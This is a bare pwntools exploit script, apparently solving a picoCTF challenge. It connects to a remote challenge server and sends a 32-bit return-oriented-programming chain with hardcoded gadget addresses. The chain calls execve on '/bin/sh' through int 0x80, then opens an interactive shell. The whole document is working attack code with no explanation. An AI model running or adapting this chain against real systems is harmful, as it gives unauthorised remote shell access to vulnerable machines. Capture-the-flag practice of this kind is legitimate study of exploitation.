from pwn import *
elf = ELF("./vuln")
r = elf.process()
#gdb.attach(r, api = True)
r = remote ("saturn.picoctf.net", 59148)
pop_eax = 0x080b073a
pop_ecx = 0x08049e29
int_0x80 = 0x0804a3c2
push_eax_pop_ebx = 0x08070fdd
payload = b"/bin/sh\x00"
payload += payload.ljust(20, b'a')
payload += p32(push_eax_pop_ebx)
payload += p32(pop_eax)
payload += p32(0x0b)
payload += p32(pop_ecx)
payload += p32(0x0)
payload += p32(int_0x80)
r.sendline(payload)
r.interactive()
